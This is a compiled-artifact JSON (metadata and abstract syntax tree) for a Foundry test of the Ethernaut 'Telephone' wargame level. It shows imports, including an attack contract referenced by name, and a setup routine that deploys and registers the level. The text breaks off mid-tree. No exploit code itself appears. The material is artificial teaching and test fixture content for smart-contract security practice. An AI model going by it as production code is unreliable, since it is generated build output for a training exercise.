60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/TelephoneAttack.sol":{"keccak256":"0x743f1a1db02777b23d24acbc3e6da556c447c967496130e9a0438f64b0b11b13","urls":["bzz-raw://e22b1b600c36802d83b094c5a8138e029dfed6b307f311c2c0fb88eba4e0af6c","dweb:/ipfs/QmPx7rbTNhVSKZCJjVCBSLbNmKNbyP4GBJpNHpjCb11DXn"],"license":"MIT"},"src/levels/Telephone.sol":{"keccak256":"0xa4fd1de634a0a23ddb2062807a003081821701f1c5d441a0a4427ca7b57cf170","urls":["bzz-raw://1881bf7750a7ebd8c5a9239f6e5c72b97d97ec9612e80608e7199d3d9ea2c7b1","dweb:/ipfs/QmUJL2Um5nMWYjxpa7gBTpeQUeDGi7Sr8uBo9YAixARiDZ"],"license":"MIT"},"src/levels/TelephoneFactory.sol":{"keccak256":"0xae51e2295e715886402f5ef7a4199d7256330116f64ba84672552e501595649d","urls":["bzz-raw://1b85df96e3f0eaee4aeda387987cbf557f7d9d99ba8373ce4d2a4eadccffb723","dweb:/ipfs/QmSp5PwY3GYFp9YbungJpTxBNkPjrVrp9B7VgTf9qBGaoL"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Telephone.t.sol":{"keccak256":"0x5d3e854b57aeae8f1915f10873c6dedfee1546d1672cf05208ef3033dbe5a5c1","urls":["bzz-raw://657e712dfc232eebaa70c41c5faeaf1d2a3fa6b9b3c8acf7fa810ac49465e981","dweb:/ipfs/QmWNMDXr6oLV1dBUN5T3cSRESzSdnY6hbDWn2V9vRkd1BC"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Telephone.t.sol","id":64736,"exportedSymbols":{"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Telephone":[55314],"TelephoneAttack":[49829],"TelephoneFactory":[55369],"Test":[12027],"TestBase":[65],"TestTelephone":[64735],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2008:148","nodes":[{"id":64545,"nodeType":"PragmaDirective","src":"32:23:148","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":64546,"nodeType":"ImportDirective","src":"57:28:148","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":64736,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":64548,"nodeType":"ImportDirective","src":"86:43:148","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":64736,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":64547,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:148","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64550,"nodeType":"ImportDirective","src":"131:51:148","nodes":[],"absolutePath":"src/levels/Telephone.sol","file":"src/levels/Telephone.sol","nameLocation":"-1:-1:-1","scope":64736,"sourceUnit":55315,"symbolAliases":[{"foreign":{"id":64549,"name":"Telephone","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55314,"src":"139:9:148","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64552,"nodeType":"ImportDirective","src":"183:65:148","nodes":[],"absolutePath":"src/levels/TelephoneFactory.sol","file":"src/levels/TelephoneFactory.sol","nameLocation":"-1:-1:-1","scope":64736,"sourceUnit":55370,"symbolAliases":[{"foreign":{"id":64551,"name":"TelephoneFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55369,"src":"191:16:148","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64554,"nodeType":"ImportDirective","src":"249:64:148","nodes":[],"absolutePath":"src/attacks/TelephoneAttack.sol","file":"src/attacks/TelephoneAttack.sol","nameLocation":"-1:-1:-1","scope":64736,"sourceUnit":49830,"symbolAliases":[{"foreign":{"id":64553,"name":"TelephoneAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49829,"src":"257:15:148","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64556,"nodeType":"ImportDirective","src":"314:48:148","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":64736,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":64555,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"322:5:148","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64558,"nodeType":"ImportDirective","src":"363:44:148","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":64736,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":64557,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"371:9:148","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64735,"nodeType":"ContractDefinition","src":"409:1630:148","nodes":[{"id":64565,"nodeType":"VariableDeclaration","src":"453:19:148","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"463:9:148","scope":64735,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":64564,"nodeType":"UserDefinedTypeName","pathNode":{"id":64563,"name":"Ethernaut","nameLocations":["453:9:148"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"453:9:148"},"referencedDeclaration":49101,"src":"453:9:148","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":64568,"nodeType":"VariableDeclaration","src":"478:18:148","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"488:8:148","scope":64735,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"},"typeName":{"id":64567,"nodeType":"UserDefinedTypeName","pathNode":{"id":64566,"name":"Telephone","nameLocations":["478:9:148"],"nodeType":"IdentifierPath","referencedDeclaration":55314,"src":"478:9:148"},"referencedDeclaration":55314,"src":"478:9:148","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"visibility":"internal"},{"id":64570,"nodeType":"VariableDeclaration","src":"503:21:148","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"519:5:148","scope":64735,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64569,"name":"address","nodeType":"ElementaryTypeName","src":"503:15:148","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64572,"nodeType":"VariableDeclaration","src":"530:22:148","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"546:6:148","scope":64735,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64571,"name":"address","nodeType":"ElementaryTypeName","src":"530:15:148","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64674,"nodeType":"FunctionDefinition","src":"739:605:148","nodes":[],"body":{"id":64673,"nodeType":"Block","src":"763:581:148","nodes":[],"statements":[{"assignments":[64577],"declarations":[{"constant":false,"id":64577,"mutability":"mutable","name":"users","nameLocation":"798:5:148","nodeType":"VariableDeclaration","scope":64673,"src":"773:30:148","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":64575,"name":"address","nodeType":"ElementaryTypeName","src":"773:15:148","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64576,"nodeType":"ArrayTypeName","src":"773:17:148","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":64581,"initialValue":{"arguments":[{"hexValue":"32","id":64579,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"818:1:148","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":64578,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"806:11:148","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":64580,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"806:14:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"773:47:148"},{"expression":{"id":64586,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64582,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64570,"src":"831:5:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64583,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64577,"src":"839:5:148","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64585,"indexExpression":{"hexValue":"30","id":64584,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"845:1:148","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"839:8:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"831:16:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64587,"nodeType":"ExpressionStatement","src":"831:16:148"},{"expression":{"arguments":[{"id":64591,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64570,"src":"866:5:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":64592,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"873:7:148","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":64588,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"857:2:148","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64590,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"860:5:148","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"857:8:148","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64593,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"857:24:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64594,"nodeType":"ExpressionStatement","src":"857:24:148"},{"expression":{"id":64599,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64595,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64572,"src":"892:6:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64596,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64577,"src":"901:5:148","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64598,"indexExpression":{"hexValue":"31","id":64597,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"907:1:148","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"901:8:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"892:17:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64600,"nodeType":"ExpressionStatement","src":"892:17:148"},{"expression":{"arguments":[{"id":64604,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64572,"src":"928:6:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":64605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"936:8:148","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":64601,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"919:2:148","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64603,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"922:5:148","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"919:8:148","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64606,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"919:26:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64607,"nodeType":"ExpressionStatement","src":"919:26:148"},{"expression":{"arguments":[{"id":64611,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64570,"src":"970:5:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64608,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"956:2:148","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64610,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"959:10:148","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"956:13:148","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64612,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"956:20:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64613,"nodeType":"ExpressionStatement","src":"956:20:148"},{"expression":{"id":64618,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64614,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64565,"src":"986:9:148","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":64616,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64570,"src":"1025:5:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64615,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"998:26:148","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":64617,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"998:33:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"986:45:148","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":64619,"nodeType":"ExpressionStatement","src":"986:45:148"},{"assignments":[64622],"declarations":[{"constant":false,"id":64622,"mutability":"mutable","name":"factory","nameLocation":"1058:7:148","nodeType":"VariableDeclaration","scope":64673,"src":"1041:24:148","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_TelephoneFactory_$55369","typeString":"contract TelephoneFactory"},"typeName":{"id":64621,"nodeType":"UserDefinedTypeName","pathNode":{"id":64620,"name":"TelephoneFactory","nameLocations":["1041:16:148"],"nodeType":"IdentifierPath","referencedDeclaration":55369,"src":"1041:16:148"},"referencedDeclaration":55369,"src":"1041:16:148","typeDescriptions":{"typeIdentifier":"t_contract$_TelephoneFactory_$55369","typeString":"contract TelephoneFactory"}},"visibility":"internal"}],"id":64627,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":64625,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1068:20:148","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_TelephoneFactory_$55369_$","typeString":"function () returns (contract TelephoneFactory)"},"typeName":{"id":64624,"nodeType":"UserDefinedTypeName","pathNode":{"id":64623,"name":"TelephoneFactory","nameLocations":["1072:16:148"],"nodeType":"IdentifierPath","referencedDeclaration":55369,"src":"1072:16:148"},"referencedDeclaration":55369,"src":"1072:16:148","typeDescriptions":{"typeIdentifier":"t_contract$_TelephoneFactory_$55369","typeString":"contract TelephoneFactory"}}},"id":64626,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1068:22:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_TelephoneFactory_$55369","typeString":"contract TelephoneFactory"}},"nodeType":"VariableDeclarationStatement","src":"1041:49:148"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":64634,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64622,"src":"1138:7:148","typeDescriptions":{"typeIdentifier":"t_contract$_TelephoneFactory_$55369","typeString":"contract TelephoneFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_TelephoneFactory_$55369","typeString":"contract TelephoneFactory"}],"id":64633,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1130:7:148","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64632,"name":"address","nodeType":"ElementaryTypeName","src":"1130:7:148","typeDescriptions":{}}},"id":64635,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1130:16:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64631,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1124:5:148","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":64636,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1124:23:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":64628,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64565,"src":"1100:9:148","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":64630,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1110:13:148","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1100:23:148","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":64637,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1100:48:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64638,"nodeType":"ExpressionStatement","src":"1100:48:148"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64639,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1158:2:148","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64641,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1161:9:148","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1158:12:148","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64642,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1158:14:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64643,"nodeType":"ExpressionStatement","src":"1158:14:148"},{"expression":{"arguments":[{"id":64647,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64572,"src":"1197:6:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64644,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1183:2:148","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64646,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1186:10:148","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1183:13:148","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64648,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1183:21:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64649,"nodeType":"ExpressionStatement","src":"1183:21:148"},{"expression":{"id":64666,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64650,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64568,"src":"1214:8:148","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":64655,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64565,"src":"1263:9:148","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":64659,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64622,"src":"1288:7:148","typeDescriptions":{"typeIdentifier":"t_contract$_TelephoneFactory_$55369","typeString":"contract TelephoneFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_TelephoneFactory_$55369","typeString":"contract TelephoneFactory"}],"id":64658,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1280:7:148","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64657,"name":"address","nodeType":"ElementaryTypeName","src":"1280:7:148","typeDescriptions":{}}},"id":64660,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1280:16:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64656,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1274:5:148","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":64661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1274:23:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"302e303031","id":64662,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1299:11:148","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 